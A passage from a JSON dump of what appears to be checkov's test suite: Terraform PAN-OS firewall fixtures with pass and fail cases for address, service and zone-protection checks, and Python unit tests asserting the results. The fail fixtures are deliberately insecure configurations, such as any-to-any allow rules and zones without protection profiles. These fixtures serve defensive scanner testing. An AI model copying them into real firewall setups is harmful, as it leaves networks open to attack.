destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to a non-any value in both rules, which is a pass\nresource \"panos_security_policy\" \"pass3\" {\n    rule {\n        name = \"my-good-pass3-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-good-pass3-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to a non-any value in both rules, which is a pass\nresource \"panos_security_rule_group\" \"pass4\" {\n    rule {\n        name = \"my-good-pass4-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-good-pass4-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to multiple non-any values, which is a pass\nresource \"panos_security_policy\" \"pass5\" {\n    rule {\n        name = \"my-good-rule-pass5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"service-http\",\"service-https\"]\n        action = \"allow\"\n    }\n}\n\n# Services is set to multiple non-any values, which is a pass\nresource \"panos_security_rule_group\" \"pass6\" {\n    rule {\n        name = \"my-good-rule-pass6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"service-http\",\"service-https\"]\n        action = \"allow\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_PolicyNoSrcAnyDstAny/main.tf",
    "content": "# The \"source_addresses\" and \"destination_addresses\" attributes can be defined in either the panos_security_policy resource or the panos_security_rule_group resource.\n# Both resource types are covered by this check.\n\n# Note: Not explicitly setting the \"source_addresses\" and \"destination_addresses\" attributes when creating a rule is not valid, the \"source_addresses\" and \"destination_addresses\" attributes are mandatory and will fail Terraform validation at plan stage, so this is not covered in test cases\n\n# Note: Setting a \"source_addresses\" or \"destination_addresses\" list item of \"any\" alongside other items is not technically valid PAN-OS configuration, but the provider and the OS accept it (even though it can't be configured this way in the GUI). However, because it is possible to create this type of configuration in Terraform without error, there are test cases for it\n\n\n# Passes\n\n# \"source_addresses\" is set to a non-any value, which is a pass (\"destination_addresses\" set to any is valid for traffic destined for the Internet)\nresource \"panos_security_policy\" \"pass1\" {\n    rule {\n        name = \"my-good-rule-pass1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" is set to a non-any value, which is a pass (\"destination_addresses\" set to any is valid for traffic destined for the Internet)\nresource \"panos_security_rule_group\" \"pass2\" {\n    rule {\n        name = \"my-good-rule-pass2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"destination_addresses\" is set to a non-any value, which is a pass (\"source_addresses\" set to any is valid for hosting Internet-facing workloads)\nresource \"panos_security_policy\" \"pass3\" {\n    rule {\n        name = \"my-good-rule-pass3\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"destination_addresses\" is set to a non-any value, which is a pass (\"source_addresses\" set to any is valid for hosting Internet-facing workloads)\nresource \"panos_security_rule_group\" \"pass4\" {\n    rule {\n        name = \"my-good-rule-pass4\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"destination_addresses\" is set to a non-any value in both rules, which is a pass (\"source_addresses\" set to any is valid for hosting Internet-facing workloads)\nresource \"panos_security_policy\" \"pass5\" {\n    rule {\n        name = \"my-good-pass5-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-good-pass5-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.4.4/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"destination_addresses\" is set to a non-any value in both rules, which is a pass (\"source_addresses\" set to any is valid for hosting Internet-facing workloads)\nresource \"panos_security_rule_group\" \"pass6\" {\n    rule {\n        name = \"my-good-pass6-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-good-pass5-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.4.4/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" is set to a non-any value in both rules, which is a pass (\"destination_addresses\" set to any is valid for traffic destined for the Internet)\nresource \"panos_security_policy\" \"pass7\" {\n    rule {\n        name = \"my-good-pass7-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-good-pass7-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" is set to a non-any value in both rules, which is a pass (\"destination_addresses\" set to any is valid for traffic destined for the Internet)\nresource \"panos_security_rule_group\" \"pass8\" {\n    rule {\n        name = \"my-good-pass8-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-good-pass8-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"destination_addresses\" is set to multiple non-any values, which is a pass (\"source_addresses\" set to any is valid for hosting Internet-facing workloads)\nresource \"panos_security_policy\" \"pass9\" {\n    rule {\n        name = \"my-good-rule-pass9\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\", \"8.8.4.4/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"destination_addresses\" is set to multiple non-any values, which is a pass (\"source_addresses\" set to any is valid for hosting Internet-facing workloads)\nresource \"panos_security_rule_group\" \"pass10\" {\n    rule {\n        name = \"my-good-rule-pass10\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\", \"8.8.4.4/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" is set to multiple non-any values, which is a pass (\"destination_addresses\" set to any is valid for traffic destined for the Internet)\nresource \"panos_security_policy\" \"pass11\" {\n    rule {\n        name = \"my-good-rule-pass11\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\",\"10.10.10.11/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" is set to multiple non-any values, which is a pass (\"destination_addresses\" set to any is valid for traffic destined for the Internet)\nresource \"panos_security_rule_group\" \"pass12\" {\n    rule {\n        name = \"my-good-rule-pass12\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\",\"10.10.10.11/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are set to non-any values, which is a pass\nresource \"panos_security_policy\" \"pass13\" {\n    rule {\n        name = \"my-good-rule-pass13\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are set to non-any values, which is a pass\nresource \"panos_security_rule_group\" \"pass14\" {\n    rule {\n        name = \"my-good-rule-pass14\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n\n\n\n# Fails\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any, which is a fail as it is overly permissive\nresource \"panos_security_policy\" \"fail1\" {\n    rule {\n        name = \"my-bad-rule-fail1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any, which is a fail as it is overly permissive\nresource \"panos_security_rule_group\" \"fail2\" {\n    rule {\n        name = \"my-bad-rule-fail2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any in the second rule, which is a fail as it is overly permissive\nresource \"panos_security_policy\" \"fail3\" {\n    rule {\n        name = \"my-bad-fail3-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-bad-fail3-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any in the second rule, which is a fail as it is overly permissive\nresource \"panos_security_rule_group\" \"fail4\" {\n    rule {\n        name = \"my-bad-fail4-rule1\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"8.8.8.8/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n    rule {\n        name = \"my-bad-fail4-rule2\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"application-default\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any, even though the source_address has other list items after any, which is a fail as it is overly permissive \nresource \"panos_security_policy\" \"fail5\" {\n    rule {\n        name = \"my-bad-rule-fail5\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\",\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"service-http\",\"service-https\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any, even though the source_address has other list items before any, which is a fail as it is overly permissive \nresource \"panos_security_rule_group\" \"fail6\" {\n    rule {\n        name = \"my-bad-rule-fail6\"\n        source_zones = [\"any\"]\n        source_addresses = [\"10.10.10.10/32\",\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"service-http\",\"service-https\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any, even though the destination_addresses has other list items after any, which is a fail as it is overly permissive \nresource \"panos_security_policy\" \"fail7\" {\n    rule {\n        name = \"my-bad-rule-fail7\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\",\"10.10.10.10/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"service-http\",\"service-https\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any, even though the destination_address has other list items before any, which is a fail as it is overly permissive \nresource \"panos_security_rule_group\" \"fail8\" {\n    rule {\n        name = \"my-bad-rule-fail8\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"10.10.10.10/32\",\"any\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"service-http\",\"service-https\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any, even though both source_address and destination_address have other list items after any, which is a fail as it is overly permissive \nresource \"panos_security_policy\" \"fail9\" {\n    rule {\n        name = \"my-bad-rule-fail9\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\",\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\",\"10.10.10.10/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"service-http\",\"service-https\"]\n        action = \"allow\"\n    }\n}\n\n# \"source_addresses\" and \"destination_addresses\" are both set to any, even though both source_address and destination_address have other list items after any, which is a fail as it is overly permissive \nresource \"panos_security_rule_group\" \"fail10\" {\n    rule {\n        name = \"my-bad-rule-fail10\"\n        source_zones = [\"any\"]\n        source_addresses = [\"any\",\"10.10.10.10/32\"]\n        source_users = [\"any\"]\n        hip_profiles = [\"any\"]\n        destination_zones = [\"any\"]\n        destination_addresses = [\"any\",\"10.10.10.10/32\"]\n        applications = [\"web-browsing\",\"ssl\"]\n        categories = [\"any\"]\n        services = [\"service-http\",\"service-https\"]\n        action = \"allow\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_ZoneProtectionProfile/main.tf",
    "content": "# The \"zone_profile\" attributes can be defined in either the \"panos_zone\" or \"panos_panorama_zone\" resources.\n# All these resource types are covered by this check.\n\n# Passes\n\n# Zones should should have a \"zone_profile\" populated to protect against provide extended protection against IP floods, reconnaissance, packet based attacks, etc\nresource \"panos_zone\" \"pass1\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n}\nresource \"panos_panorama_zone\" \"pass2\" {\n    name = \"new_zone_panorama\"\n    zone_profile = \"zone_protect_profile\"\n}\n\n# Fails\n\n# Zones should should have a \"zone_profile\" populated to protect against provide extended protection against IP floods, reconnaissance, packet based attacks, etc - lack of \"zone_profile\" attribute is a fail\nresource \"panos_zone\" \"fail1\" {\n    name = \"new_zone\"\n}\nresource \"panos_panorama_zone\" \"fail2\" {\n    name = \"new_zone_panorama\"\n}\n\n# Zones should should have a \"zone_profile\" populated to protect against provide extended protection against IP floods, reconnaissance, packet based attacks, etc - empty string \"zone_profile\" attributes are a fail\nresource \"panos_zone\" \"fail3\" {\n    name = \"new_zone\"\n    zone_profile = \"\"\n}\nresource \"panos_panorama_zone\" \"fail4\" {\n    name = \"new_zone_panorama\"\n    zone_profile = \"\"\n}\n\n# Zones should should have a \"zone_profile\" populated to protect against provide extended protection against IP floods, reconnaissance, packet based attacks, etc - strings of space characters for \"zone_profile\" attributes are a fail\nresource \"panos_zone\" \"fail5\" {\n    name = \"new_zone\"\n    zone_profile = \"   \"\n}\nresource \"panos_panorama_zone\" \"fail6\" {\n    name = \"new_zone_panorama\"\n    zone_profile = \"   \"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/example_ZoneUserIDIncludeACL/main.tf",
    "content": "# If User-ID is enabled for a zone (optional), an \"include ACL\" should be defined to provide scope for User-ID. This can be configured in \"panos_zone\" or \"panos_panorama_zone\" resources. Both resource types are covered by this check.\n\n# Passes\n\n# User-ID enabled, Include ACL defined, single entry in list\nresource \"panos_zone\" \"pass1\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n    include_acls = [\"10.0.0.0./8\"]\n}\nresource \"panos_panorama_zone\" \"pass2\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n    include_acls = [\"10.0.0.0./8\"]\n}\n\n# User-ID enabled, Include ACL defined, double entry in list\nresource \"panos_zone\" \"pass3\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n    include_acls = [\"10.0.0.0./8\", \"192.168.0.0/16\"]\n}\nresource \"panos_panorama_zone\" \"pass4\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n    include_acls = [\"10.0.0.0./8\", \"192.168.0.0/16\"]\n}\n\n# User-ID not enabled, Include ACL not required\nresource \"panos_zone\" \"pass5\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n}\nresource \"panos_panorama_zone\" \"pass6\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n}\n\n# Fails\n\n# User-ID enabled, Include ACL undefined\nresource \"panos_zone\" \"fail1\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n}\nresource \"panos_panorama_zone\" \"fail2\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n}\n\n# User-ID enabled, Include ACL defined, empty string in list\nresource \"panos_zone\" \"fail3\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n    include_acls = [\"\"]\n}\nresource \"panos_panorama_zone\" \"fail4\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n    include_acls = [\"\"]\n}\n\n# User-ID enabled, Include ACL defined, string of spaces in list\nresource \"panos_zone\" \"fail5\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n    include_acls = [\"    \"]\n}\nresource \"panos_panorama_zone\" \"fail6\" {\n    name = \"new_zone\"\n    zone_profile = \"zone_protect_profile\"\n    enable_user_id = true\n    include_acls = [\"    \"]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_InterfaceMgmtProfileNoHTTP.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.InterfaceMgmtProfileNoHTTP import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestInterfaceMgmtProfileNoHTTP(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_InterfaceMgmtProfileNoHTTP\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_management_profile.pass1',\n            'panos_management_profile.pass2',\n        }\n        failing_resources = {\n            'panos_management_profile.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_InterfaceMgmtProfileNoTelnet.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.InterfaceMgmtProfileNoTelnet import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestInterfaceMgmtProfileNoTelnet(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_InterfaceMgmtProfileNoTelnet\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_management_profile.pass1',\n            'panos_management_profile.pass2',\n        }\n        failing_resources = {\n            'panos_management_profile.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_NetworkIPsecAlgorithms.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.NetworkIPsecAlgorithms import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass NetworkIPsecAlgorithms(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NetworkIPsecAlgorithms\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_ipsec_crypto_profile.pass1',\n            'panos_panorama_ipsec_crypto_profile.pass2',\n            'panos_ipsec_crypto_profile.pass3',\n            'panos_panorama_ipsec_crypto_profile.pass4',\n            'panos_ipsec_crypto_profile.pass5',\n            'panos_panorama_ipsec_crypto_profile.pass6',\n        }\n        failing_resources = {\n            'panos_ipsec_crypto_profile.fail1',\n            'panos_ipsec_crypto_profile.fail2',\n            'panos_ipsec_crypto_profile.fail3',\n            'panos_ipsec_crypto_profile.fail4',\n            'panos_ipsec_crypto_profile.fail5',\n            'panos_ipsec_crypto_profile.fail6',\n            'panos_panorama_ipsec_crypto_profile.fail7',\n            'panos_panorama_ipsec_crypto_profile.fail8',\n            'panos_panorama_ipsec_crypto_profile.fail9',\n            'panos_panorama_ipsec_crypto_profile.fail10',\n            'panos_panorama_ipsec_crypto_profile.fail11',\n            'panos_panorama_ipsec_crypto_profile.fail12',\n            'panos_ipsec_crypto_profile.fail13',\n            'panos_ipsec_crypto_profile.fail14',\n            'panos_panorama_ipsec_crypto_profile.fail15',\n            'panos_panorama_ipsec_crypto_profile.fail16',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 6)\n        self.assertEqual(summary['failed'], 16)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/panos/test_NetworkIPsecAuthAlgorithms.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.panos.NetworkIPsecAuthAlgorithms import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass NetworkIPsecAuthAlgorithms(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_NetworkIPsecAuthAlgorithms\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'panos_ipsec_crypto_profile.pass1',\n            'panos_panorama_ipsec_crypto_profile.pass2',\n            'panos_ipsec_crypto_profile.pass3',\n            'panos_panorama_ipsec_crypto_profile.pass4',\n            'panos_ipsec_crypto_profile.pass5',\n            'panos_panorama_ipsec_crypto_profile.pass6',\n            'panos_ipsec_crypto_profile.pass7',\n            'panos_panorama_ipsec_crypto_profile.pass8',\n        }\n        failing_resources = {\n            'panos_ipsec_crypto_profile.fail1',\n            'panos_ipsec_crypto_profile.fail2',\n            'panos_ipsec_crypto_profile.fail3',\n            